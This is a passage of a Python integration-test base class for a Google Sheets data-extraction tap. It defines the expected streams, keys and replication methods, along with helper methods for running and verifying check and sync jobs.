            "refresh_token": os.getenv("TAP_GOOGLE_SHEETS_REFRESH_TOKEN"),
        }

    def expected_metadata(self):
        """The expected streams and metadata about the streams"""
        default_sheet = {
            self.PRIMARY_KEYS:{"__sdc_row"},
            self.REPLICATION_METHOD: self.FULL_TABLE,  # DOCS_BUG TDL-14240 | DOCS say INC but it is FULL
            # self.REPLICATION_KEYS: {"modified_at"}
        }
        return {
            "file_metadata": {
                self.PRIMARY_KEYS: {"id", },
                self.REPLICATION_METHOD: self.INCREMENTAL,
                self.REPLICATION_KEYS: {"modifiedTime"}
            },
            "sheet_metadata": {
                self.PRIMARY_KEYS: {"sheetId"}, # "spreadsheetId"}, # BUG? | This is not in the real tap, "spreadsheetId"},
                self.REPLICATION_METHOD: self.FULL_TABLE,
            },
            "sheets_loaded":{
                self.PRIMARY_KEYS:{"spreadsheetId", "sheetId", "loadDate"},  # DOCS_BUG  TDL-14240 | loadDate
                self.REPLICATION_METHOD: self.FULL_TABLE
            },
            "spreadsheet_metadata": {
                self.PRIMARY_KEYS: {"spreadsheetId"},
                self.REPLICATION_METHOD: self.FULL_TABLE,
            },
            "Test-1": default_sheet,
            "SKU COGS":default_sheet,
            "Item Master":  {
                self.PRIMARY_KEYS:{"__sdc_row"},
                self.REPLICATION_METHOD: self.FULL_TABLE,  # DOCS_BUG TDL-14240 | DOCS say INC but it is FULL
                self.UNSUPPORTED_FIELDS: {
                    'ATT3', 'ATT4', 'ATT5', 'ATT7', 'ATT6'
                },
            },
            "Retail Price": default_sheet,
            "Retail Price NEW":default_sheet,
            "Forecast Scenarios": default_sheet,
            "Promo Type": default_sheet,
            "Shipping Method":default_sheet,
            "Pagination": default_sheet,
            "Pagination-1000-empty": default_sheet,
            "Pagination-1001-empty": default_sheet,
            "Pagination-999-empty": default_sheet,
            "happysheet": default_sheet,
            "happysheet-string-fallback": default_sheet,
            "sadsheet-pagination": default_sheet,
            "sadsheet-number": default_sheet,
            "sadsheet-datetime": default_sheet,
            "sadsheet-date": default_sheet,
            "sadsheet-currency": default_sheet,
            "sadsheet-time": default_sheet,
            "sadsheet-string": default_sheet,
            "sadsheet-empty-row-2": default_sheet,
            "sadsheet-headers-only": default_sheet,
            "sadsheet-duplicate-headers-case": default_sheet,
            "sad-sheet-effective-format": default_sheet, # WIP
            "test-sheet-date": default_sheet, # WIP
            "test-sheet-number": default_sheet, # WIP
            "sadsheet-column-skip-bug": {
                self.PRIMARY_KEYS:{"__sdc_row"},
                self.REPLICATION_METHOD: self.FULL_TABLE,  # DOCS_BUG TDL-14240 | DOCS say INC but it is FULL
                self.UNSUPPORTED_FIELDS: {'__sdc_skip_col_06'},
            }
        }

    def expected_streams(self):
        """A set of expected stream names"""
        return set(self.expected_metadata().keys())

    def expected_sync_streams(self):
        remove_streams = {
            'sadsheet-duplicate-headers-case', # BUG |https://jira.talendforge.org/browse/TDL-14398 comment out to reproduce headers case
            'sadsheet-empty-row-2',
            'sadsheet-headers-only'
        }
        sync_streams = self.expected_streams().difference(remove_streams)
        return sync_streams

    def child_streams(self):
        """
        Return a set of streams that are child streams
        based on having foreign key metadata
        """
        return {stream for stream, metadata in self.expected_metadata().items()
                if metadata.get(self.FOREIGN_KEYS)}

    def expected_primary_keys(self):
        """
        return a dictionary with key of table name
        and value as a set of primary key fields
        """
        return {table: properties.get(self.PRIMARY_KEYS, set())
                for table, properties
                in self.expected_metadata().items()}

    def expected_replication_keys(self):
        """
        return a dictionary with key of table name
        and value as a set of replication key fields
        """
        return {table: properties.get(self.REPLICATION_KEYS, set())
                for table, properties
                in self.expected_metadata().items()}

    def expected_automatic_fields(self):
        """
        return a dictionary with key of table name
        and value as a set of automatic key fields
        """
        auto_fields = {}
        for k, v in self.expected_metadata().items():
            auto_fields[k] = v.get(self.PRIMARY_KEYS, set()).union(v.get(self.REPLICATION_KEYS, set()))
        return auto_fields

    def expected_replication_method(self):
        """return a dictionary with key of table name nd value of replication method"""
        return {table: properties.get(self.REPLICATION_METHOD, None)
                for table, properties
                in self.expected_metadata().items()}

    def setUp(self):
        missing_envs = [x for x in [
            "TAP_GOOGLE_SHEETS_START_DATE",
            "TAP_GOOGLE_SHEETS_SPREADSHEET_ID",
            "TAP_GOOGLE_SHEETS_CLIENT_ID",
            "TAP_GOOGLE_SHEETS_CLIENT_SECRET",
            "TAP_GOOGLE_SHEETS_REFRESH_TOKEN",
        ] if os.getenv(x) is None]
        if len(missing_envs) != 0:
            raise Exception(f"missing variables: {missing_envs}")

    #########################
    #   Helper Methods      #
    #########################

    def run_and_verify_check_mode(self, conn_id):
        """
        Run the tap in check mode and verify it succeeds.
        This should be ran prior to field selection and initial sync.

        Return the connection id and found catalogs from menagerie.
        """
        # run in check mode
        check_job_name = runner.run_check_mode(self, conn_id)

        # verify check exit codes
        exit_status = menagerie.get_exit_status(conn_id, check_job_name)
        menagerie.verify_check_exit_status(self, exit_status, check_job_name)

        found_catalogs = menagerie.get_catalogs(conn_id)
        self.assertGreater(len(found_catalogs), 0, msg="unable to locate schemas for connection {}".format(conn_id))

        found_catalog_names = set(map(lambda c: c['stream_name'], found_catalogs))

        self.assertSetEqual(self.expected_streams(), found_catalog_names, msg="discovered schemas do not match")
        LOGGER.info("discovered schemas are OK")

        return found_catalogs

    def run_and_verify_sync(self, conn_id):
        """
        Run a sync job and make sure it exited properly.
        Return a dictionary with keys of streams synced
        and values of record count for each stream.
        """
        # Run a sync job using orchestrator
        sync_job_name = runner.run_sync_mode(self, conn_id)

        # Verify tap and target exit codes
        exit_status = menagerie.get_exit_status(conn_id, sync_job_name)
        menagerie.verify_sync_exit_status(self, exit_status, sync_job_name)

        sync_record_count = runner.examine_target_output_file(
            self, conn_id, self.expected_streams(), self.expected_primary_keys())
        self.assertGreater(
            sum(sync_record_count.values()), 0,
            msg="failed to replicate any data: {}".format(sync_record_count)
        )
        LOGGER.info("total replicated row count: %s", sum(sync_record_count.values()))

        return sync_record_count

    def perform_and_verify_table_and_field_selection(self,
                                                     conn_id,
                                                     test_catalogs,
                                                     select_all_fields=True):
        """
        Perform table and field selection based off of the streams to select
        set and field selection parameters.

        Verify this results in the expected streams selected and all or no
        fields selected for those streams.
        """

        # Select all available fields or select no fields from all testable streams
        self.select_all_streams_and_fields(
            conn_id=conn_id, catalogs=test_catalogs, select_all_fields=select_all_fields
        )

        catalogs = menagerie.get_catalogs(conn_id)

        # Ensure our selection affects the catalog
        expected_selected = [tc.get('stream_name') for tc in test_catalogs]
        for cat in catalogs:
            catalog_entry = menagerie.get_annotated_schema(conn_id, cat['stream_id'])

            # Verify all testable streams are selected
            top_level_md = [md_entry for md_entry in catalog_entry['metadata']
                            if md_entry['breadcrumb'] == []]
            selected = top_level_md[0]['metadata'].get('selected')
            LOGGER.info("Validating selection on %s: %s", cat['stream_name'], selected)
            if cat['stream_name'] not in expected_selected:
                self.assertFalse(selected, msg="Stream selected, but not testable.")
                continue # Skip remaining assertions if we aren't selecting this stream
            self.assertTrue(selected, msg="Stream not selected.")

            if select_all_fields:
                # Verify all fields within each selected stream are selected
                field_level_md = [md_entry for md_entry in catalog_entry['metadata']
                                  if md_entry['breadcrumb'] != []]
                for field_md in field_level_md:
                    field = field_md['breadcrumb'][1]
                    field_selected = field_md['metadata'].get('selected')
                    LOGGER.info("\tValidating selection on %s.%s: %s",
                                cat['stream_name'], field, field_selected)
                    self.assertTrue(field_selected, msg="Field not selected.")
            else:
                # Verify only automatic fields are selected
                expected_automatic_fields = self.expected_automatic_fields().get(cat['stream_name'])
                selected_fields = self.get_selected_fields_from_metadata(catalog_entry['metadata'])
                # BUG TDL-14241 | Replication keys are not automatic
                if cat['stream_name'] == "file_metadata":
                    expected_automatic_fields.remove('modifiedTime')
                self.assertEqual(expected_automatic_fields, selected_fields)

    @staticmethod
    def get_selected_fields_from_metadata(metadata):
        selected_fields = set()
        for field in metadata:
            is_field_metadata = len(field['breadcrumb']) > 1
            inclusion_automatic_or_selected = (
                field['metadata']['selected'] is True or \
                field['metadata']['inclusion'] == 'automatic'
            )
            if is_field_metadata and inclusion_automatic_or_selected:
                selected_fields.add(field['breadcrumb'][1])
        return selected_fields

    @staticmethod
    def select_all_streams_and_fields(conn_id, catalogs, select_all_fields: bool = True):
        """Select all streams and all fields within streams"""
        for catalog in catalogs:
            schema = menagerie.get_annotated_schema(conn_id, catalog['stream_id'])

            non_selected_properties = []
            if not select_all_fields:
                # get a list of all properties so that none are selected
                non_selected_properties = schema.get('annotated-schema', {}).get(
                    'properties', {}).keys()

            connections.select_catalog_and_fields_via_metadata(
                conn_id, catalog, schema, [], non_selected_properties)

    @staticmethod
    def parse_date(date_value):
        """
        Pass in string-formatted-datetime, parse the value, and return it as an unformatted datetime object.
        """
        date_formats = {
            "%Y-%m-%dT%H:%M:%S.%fZ",
            "%Y-%m-%dT%H:%M:%SZ",
            "%Y-%m-%dT%H:%M:%S.%f+00:00",
            "%Y-%m-%dT%H:%M:%S+00:00",
            "%Y-%m-%d"
        }
        for date_format in date_formats:
            try:
                date_stripped = dt.strptime(date_value, date_format)
                return date_stripped
            except ValueError:
                continue

        raise NotImplementedError("Tests do not account for dates of this format: {}".format(date_value))

    def timedelta_formatted(self, dtime, days=0):
        try:
            date_stripped = dt.strptime(dtime, self.START_DATE_FORMAT)
            return_date = date_stripped + timedelta(days=days)

            return dt.strftime(return_date, self.START_DATE_FORMAT)

        except ValueError:
            try:
                date_stripped = dt.strptime(dtime, self.BOOKMARK_COMPARISON_FORMAT)
                return_date = date_stripped + timedelta(days=days)

                return dt.strftime(return_date, self.BOOKMARK_COMPARISON_FORMAT)

            except ValueError:
                valid_formats = [self.BOOKMARK_COMPARISON_FORMAT, self.START_DATE_FORMAT]
                return Exception(f"Datetime object is not in an expected format: {valid_formats}")

    ##########################################################################
    ### Tap Specific Methods
    ##########################################################################

    def is_sheet(self, stream):
        non_sheets_streams = {'sheet_metadata', 'file_metadata', 'sheets_loaded', 'spreadsheet_metadata'}
        return stream in self.expected_streams().difference(non_sheets_streams)

    def undiscoverable_sheets(self):
        undiscoverable_streams = {'sadsheet-duplicate-headers', 'sadsheet-empty-row-1', 'sadsheet-empty'}
        return undiscoverable_streams

    def expected_unsupported_fields(self):
        """
        return a dictionary with key of table name
        and value as a set of automatic key fields
        """
        bad_fields = {}
        for k, v in self.expected_metadata().items():
            bad_fields[k] = v.get(self.UNSUPPORTED_FIELDS, set())

        return bad_fields